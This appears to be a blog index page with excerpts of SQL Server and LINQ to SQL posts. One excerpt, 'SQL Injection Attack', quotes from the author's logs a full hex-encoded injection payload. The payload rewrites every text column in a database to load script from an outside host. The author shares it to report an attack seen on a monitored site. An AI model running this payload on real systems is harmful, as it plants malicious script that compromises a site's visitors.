I need to do this every now and then and as usual forget the syntax or what I did last time to do this. I need to copy some of the data in a table to an identically structured table on another (different) database running on another Server. I do this from SQL Server Management Studio (SSMS) 2005. Using...
Continue reading "Copy data from local table to remote database table"
I have structured a project with a single LINQ to SQL .dbml file and a single DataAccess class that is used to call stored procs and query against this this DBML class. The DataAccess class implements the singleton pattern inasmuch as their's a static DataAccess property which is used for all DB access...
Continue reading "LINQ to SQL architecture question"
I'm using LINQ to SQL to write information at a rapid rate to the same table via calls to a web page. At the same time there is a web service provide results from that table. So far the best info I've found on this lies here: http://blogs.msdn.com/angelsb/archive/2004/09/07/226597.aspx Invalid attempt...
Continue reading "Invalid attempt to call MetaData when reader is closed"
I monitor the logs of a number of web sites and one of them has recently come under a SQL Injection Attack. Here is the code that was trying to be injected as a query param on a URL:
Exception in xxxxx.Page_Load() with param1=abc;DECLARE @S VARCHAR(4000);SET @S=CAST(
0x4445434C415245204054205641524348415228323535292C40432056415243484152283235352920444543
4C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C6
22E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520
612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5
220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D3136372920
4F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F4375727
36F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E
20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D2843
4F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C73637269707420737
2633D687474703A2F2F7777772E63686B6164772E636F6D2F622E6A733E3C2F7363726970743E2727272920
4645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420
434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220
AS VARCHAR(4000));EXEC(@S);--:
String or binary data would be truncated.
The statement has been terminated.
Continue reading "SQL Injection Attack"
I was trying to copy a table of data from Microsoft Access into SQL Server. I setup the MS Access file as a Linked Server and then executed an: insert into TableName (Col1, Col2, Col3, Col4) select T.ColA as Col1, T.ColB as Col2, T.Col3, T.Col4, from ACCESS_DB...TableName T But I discovered that the...
Continue reading "Finding non-unique rows in SQL Server"
I was getting this error when trying to drop a database: Cannot drop database "MyDatabaseName" because it is currently in use. I tried the sp_who command to see if there was anything holding on to the DB that I hadn't disconnected from. Couldn't see anything. drop database MyDatabaseName kept...
Continue reading "Cannot drop database because it is currently in use"
From: Desert Code Camp 2007 Speaker: Eric Kassan (from World Doc) Notes: Systems will scale better if less code is in the DB Server because almost always 1 Database Server but can have many application or web servers. Specify dbo. in front of table name to improve performance. Use a temp variable instead...
Continue reading "SQL Server 2005 Do's and Don'ts for Developers"
I've been trying to work out how to do this for ages and today I've finally found the answer from Books Online. I think that a lot of us experience this. When you're searching the help files and resources you can't find the answer but later when you're not looking for it you stumble across it. For my notes, here is the example. Interestingly on most of my DB's I don't need full recovery so I've skipped the last step and left the DB's at simple recovery.
Continue reading "Shrinking SQL Server Log File"